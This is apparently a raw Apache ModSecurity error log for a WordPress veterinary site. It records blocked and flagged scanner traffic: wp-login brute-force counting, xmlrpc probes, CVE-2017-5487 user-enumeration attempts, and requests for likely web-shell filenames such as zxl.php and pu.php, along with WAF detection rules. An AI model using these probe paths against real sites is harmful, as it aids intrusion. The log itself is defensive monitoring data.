[Wed Dec 17 04:23:08.491114 2025] [:error] [pid 34426:tid 34477] [client 13.74.149.244:4318] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUG_rKQO2ouZ9o0DVKtIuwAAAEY"]
[Wed Dec 17 04:23:08.992913 2025] [:error] [pid 34425:tid 34447] [client 13.74.149.244:2283] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUG_rHYomI61qeXluxnOcQAAAAw"]
[Wed Dec 17 04:51:10.632411 2025] [:error] [pid 13302:tid 13319] [client 185.183.110.3:44764] [client 185.183.110.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.183.110.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUHGPhDfKV-_W5RvJZ9aogAAAM8"]
[Wed Dec 17 05:00:04.590911 2025] [:error] [pid 13302:tid 13319] [client 49.235.136.28:56300] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUHIVBDfKV-_W5RvJZ9fbwAAAM8"]
[Wed Dec 17 06:35:25.389133 2025] [:error] [pid 7715:tid 7734] [client 43.165.189.110:56022] [client 43.165.189.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUHerZAcSlSgZepNKb-uggAAARE"]
[Wed Dec 17 06:37:42.416382 2025] [:error] [pid 13217:tid 13297] [client 152.42.219.10:41014] [client 152.42.219.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.219.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUHfNrKPEDQzeQkr6QI1OwAAAJc"]
[Wed Dec 17 10:10:37.308957 2025] [:error] [pid 45531:tid 45587] [client 1.129.31.73:47366] [client 1.129.31.73] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "165.227.84.167_020cc857e5fdaff5ccb910bb73d2d2c996e54d2a"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/google-fonts/css/nunito.css"] [unique_id "aUIRG4juE-Fd-sBWjvWoxQAAAFg"], referer: https://vetstars.com.au/appointment/
[Wed Dec 17 11:11:10.836667 2025] [:error] [pid 45532:tid 45609] [client 49.233.45.47:43700] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUIfTgeWB-JXOyTKNs157wAAAJM"]
[Wed Dec 17 12:18:19.149365 2025] [:error] [pid 45531:tid 45572] [client 91.232.154.200:43200] [client 91.232.154.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.232.154.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUIvC4juE-Fd-sBWjvXfOAAAAEk"]
[Wed Dec 17 14:11:24.131970 2025] [:error] [pid 45530:tid 45556] [client 20.218.128.24:47060] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.218.128.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUJJjG4IsXcKlf7LWf9tBQAAABU"]
[Wed Dec 17 15:10:23.033100 2025] [:error] [pid 45532:tid 45597] [client 35.231.150.164:57396] [client 35.231.150.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.150.164, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUJXXweWB-JXOyTKNs3WcAAAAIc"]
[Wed Dec 17 15:10:26.563231 2025] [:error] [pid 45532:tid 45611] [client 35.231.150.164:57396] [client 35.231.150.164] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUJXYgeWB-JXOyTKNs3WdwAAAJU"]
[Wed Dec 17 15:10:29.126673 2025] [:error] [pid 45532:tid 45598] [client 35.231.150.164:57396] [client 35.231.150.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.150.164, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUJXZQeWB-JXOyTKNs3WewAAAIg"]
[Wed Dec 17 16:13:18.965606 2025] [:error] [pid 45530:tid 45542] [client 192.250.232.94:34718] [client 192.250.232.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.232.94, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUJmHm4IsXcKlf7LWf-3WgAAAAc"]
[Wed Dec 17 16:13:25.235909 2025] [proxy_fcgi:error] [pid 45530:tid 45542] [client 192.250.232.94:34718] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:54:{i:1762839948;a:1:{s:10:\\"itsec_cron\\";a:0:{}}i:1765959041;a:1:{s:26:\\"action_scheduler_run_queue\\";a:1:{s:32:\\"0d04ed39571b55704c122d726248bbac\\";a:3:{s:8:\\"schedule\\";s:12:\\"every_minute\\";s:4:\\"args\\";a:1:{i:0;s:7:\\"WP Cron\\";}s:8:\\"interval\\";i:60;}}}i:1765959136;a:1:{s:29:\\"rsssl_every_five_minutes_hook\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:18:\\"rsssl_five_minutes\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:300;}}}i:1765959234;a:1:{s:35:\\"wordfence_batchReportFailedAttempts\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:2:{s:8:\\"schedule\\";b:0;s:4:\\"args\\";a:0:{}}}}i:1765959823;a:1:{s:10:\\"itsec_cron\\";a:1:{s:32:\\"52e238d4feebebdd3474a3fd6c58d2cf\\";a:3:{s:8:\\"schedule\\";s:6:\\"hourly\\";s:4:\\"args\\";a:1:{i:0;s:12:\\"malware-scan\\";}s:8:\\"interval\\";i:3600;}}}i:1765959939;a:1:{s:21:\\"wordfence_hourly_cron\\";a:1:{s:3...'
[Wed Dec 17 18:12:01.661129 2025] [:error] [pid 45530:tid 45544] [client 137.184.64.22:40710] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.64.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUKB8W4IsXcKlf7LWf8B4QAAAAk"]
[Wed Dec 17 19:04:08.294905 2025] [:error] [pid 45530:tid 45555] [client 74.7.229.253:44934] [client 74.7.229.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.229.253, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUKOKG4IsXcKlf7LWf8eRwAAABQ"]
[Wed Dec 17 19:04:27.920873 2025] [:error] [pid 45530:tid 45557] [client 74.7.227.191:53024] [client 74.7.227.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.191, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUKOO24IsXcKlf7LWf8eeAAAABY"]
[Wed Dec 17 20:12:48.919289 2025] [:error] [pid 45621:tid 45645] [client 5.135.142.201:39388] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.142.201, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUKeQOVNGQfJ1rR90pSI2AAAANM"]
[Wed Dec 17 22:30:13.049581 2025] [:error] [pid 16704:tid 16717] [client 104.37.191.206:33512] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.37.191.206, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUK-daAnp3ottQtykbR5qwAAAcg"]
[Wed Dec 17 23:57:31.180221 2025] [:error] [pid 11733:tid 11736] [client 182.42.110.255:52164] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aULS6zzmtBRXExJb1PFBPQAAAQE"]
[Thu Dec 18 02:38:30.569270 2025] [:error] [pid 26117:tid 26166] [client 104.37.174.183:60676] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.37.174.183, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUL4pjGiVc9lQS6PcL3v4gAAAVA"]
[Thu Dec 18 03:37:12.321937 2025] [proxy_fcgi:error] [pid 39853:tid 39933] [client 52.167.144.163:46604] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1766126232,\\"value\\":{\\"content\\":\\"\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-section elementor-element elementor-element-5512731f elementor-section-full_width elementor-section-height-default elementor-section-height-default\\\\\\" data-id=\\\\\\"5512731f\\\\\\" data-element_type=\\\\\\"section\\\\\\" data-settings=\\\\\\"{&quot;background_background&quot;:&quot;classic&quot;}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-container elementor-column-gap-no\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4e311de7\\\\\\" data-id=\\\\\\"4e311de7\\\\\\" data-element_type=\\\\\\"column\\\\\\">\\\\n\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-widget-wrap elementor-element-populated\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t[elementor-element k=\\\\\\"11a6bf68e66a230d3769b7b2e17359ac\\\\\\" data=\\\\\\"eyJpZCI6IjRjNWY3MmNlIiwiZWx...'
[Thu Dec 18 04:37:52.168247 2025] [:error] [pid 21014:tid 21091] [client 209.50.227.64:38132] [client 209.50.227.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.50.227.64, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUMUoKFhLsSDH3Y60sxcbgAAAJQ"]
[Thu Dec 18 06:33:14.303241 2025] [:error] [pid 21100:tid 21116] [client 87.106.229.106:55396] [client 87.106.229.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.106.229.106, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUMvqimdf0GusoIGpFXtjQAAAM0"]
[Thu Dec 18 06:48:03.687808 2025] [autoindex:error] [pid 23645:tid 23649] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:04.039624 2025] [autoindex:error] [pid 23645:tid 23653] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:04.443787 2025] [autoindex:error] [pid 23645:tid 23661] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:04.826953 2025] [autoindex:error] [pid 23645:tid 23654] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:15.104076 2025] [autoindex:error] [pid 23645:tid 23665] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:15.923256 2025] [autoindex:error] [pid 23645:tid 23658] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:16.377280 2025] [autoindex:error] [pid 23645:tid 23660] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:16.727904 2025] [autoindex:error] [pid 23645:tid 23660] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:17.184320 2025] [autoindex:error] [pid 23645:tid 23669] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:48:17.927992 2025] [autoindex:error] [pid 23645:tid 23663] [client 193.19.109.188:40757] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 08:20:39.337019 2025] [:error] [pid 25357:tid 25381] [client 159.203.181.155:60018] [client 159.203.181.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.181.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUNI14aT7bsEXnJVfJd8XAAAAdY"]
[Thu Dec 18 10:04:36.504465 2025] [:error] [pid 23645:tid 23659] [client 104.37.174.183:33930] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.37.174.183, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUNhNDf_Rx0Y0ao_QJjCkwAAAIw"]
[Thu Dec 18 11:55:29.206814 2025] [:error] [pid 23556:tid 23566] [client 84.247.168.35:47240] [client 84.247.168.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.168.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUN7MRnmLlk3u5yt9kFfcwAAAAY"]
[Thu Dec 18 13:48:35.701150 2025] [:error] [pid 23645:tid 23659] [client 91.245.210.195:55076] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.245.210.195, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUOVszf_Rx0Y0ao_QJj8MgAAAIw"]
[Thu Dec 18 16:28:42.796369 2025] [:error] [pid 24958:tid 24970] [client 34.186.65.147:54447] [client 34.186.65.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.65.147, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUO7OskDOrUkd0wNm2Ga0QAAAYk"]
[Thu Dec 18 16:28:45.801618 2025] [:error] [pid 24958:tid 24972] [client 34.186.65.147:54447] [client 34.186.65.147] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUO7PckDOrUkd0wNm2Ga1AAAAYs"]
[Thu Dec 18 16:28:48.726462 2025] [:error] [pid 24958:tid 24968] [client 34.186.65.147:54447] [client 34.186.65.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.65.147, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUO7QMkDOrUkd0wNm2Ga1gAAAYc"]
[Thu Dec 18 17:49:23.842730 2025] [:error] [pid 24542:tid 24551] [client 34.73.73.46:59960] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.73.73.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPOI0tQz4H2oS3NrDbN0wAAAUc"]
[Thu Dec 18 19:24:39.489950 2025] [:error] [pid 24542:tid 24554] [client 218.33.74.89:56668] [client 218.33.74.89] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.64.70_2d969d8071b542d61d3e68d48bb83cae7a49d5cb"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/css/widget-star-rating.min.css"] [unique_id "aUPkc0tQz4H2oS3NrDb1fQAAAUo"], referer: https://vetstars.com.au/
[Thu Dec 18 19:39:44.324165 2025] [:error] [pid 24542:tid 24562] [client 51.210.183.228:46714] [client 51.210.183.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.183.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPoAEtQz4H2oS3NrDb7XQAAAVI"]
[Thu Dec 18 19:40:49.580294 2025] [:error] [pid 24542:tid 24550] [client 4.196.109.118:6103] [client 4.196.109.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/about.php"] [unique_id "aUPoQUtQz4H2oS3NrDb7ywAAAUY"]
[Thu Dec 18 19:40:53.637758 2025] [:error] [pid 12035:tid 12064] [client 4.196.109.118:6096] [client 4.196.109.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/zxl.php"] [unique_id "aUPoRbcVHrNSHjCo-0qIcQAAAhU"]
[Thu Dec 18 19:41:08.044079 2025] [:error] [pid 12239:tid 12256] [client 4.196.109.118:6119] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aUPoVNNnXxfGIuWO6an8bgAAAow"]
[Thu Dec 18 19:41:09.080404 2025] [:error] [pid 24433:tid 24440] [client 4.196.109.118:6109] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aUPoVZ4pN9ycmipm8TjIfAAAAQQ"]
[Thu Dec 18 19:41:10.356012 2025] [:error] [pid 12383:tid 12399] [client 4.196.109.118:6107] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aUPoVvdgllo9h1cyxGa10QAAAs0"]
[Thu Dec 18 19:41:11.168047 2025] [:error] [pid 24542:tid 24560] [client 4.196.109.118:6086] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aUPoV0tQz4H2oS3NrDb71QAAAVA"]
[Thu Dec 18 19:41:11.509142 2025] [:error] [pid 12383:tid 12386] [client 4.196.109.118:6111] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aUPoV_dgllo9h1cyxGa11AAAAsA"]
